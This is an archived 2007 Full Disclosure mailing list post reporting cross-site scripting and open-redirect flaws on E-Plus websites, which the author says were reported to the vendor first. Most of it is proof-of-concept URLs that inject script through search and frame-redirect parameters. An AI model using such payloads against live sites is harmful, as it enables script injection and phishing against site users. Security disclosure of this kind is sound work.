Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

XSS on eplus.de, german mobile telephony provider
From: "Hanno Böck" <mail () hboeck de>
Date: Mon, 12 Mar 2007 19:15:14 +0100

Here we go:
 
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort=";><script>alert(1)</script>
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de/&apos;);alert(1);document.write('
http://www.eplus-unternehmen.de/frame.asp?go=&apos;);alert('
 
Already fixed ones:
http://www.eplus-unternehmen.de/frame.asp?go=http://www.google.de/
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de () www google de
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de.mydomain.com

With lot's of work done by alexander brachmann, www.bitsploit.de.
All have been reported to E-Plus before.

Blog-entry english:
http://www.hboeck.de/item/458

Blog-entry german (more detailed):
http://www.hboeck.de/item/457

-- 
Hanno Böck              Blog:   http://www.hboeck.de/
GPG: 3DBD3B20           Jabber: jabber () hboeck de

Attachment: _bin
Description:

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
  • XSS on eplus.de, german mobile telephony provider Hanno Böck (Mar 12)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]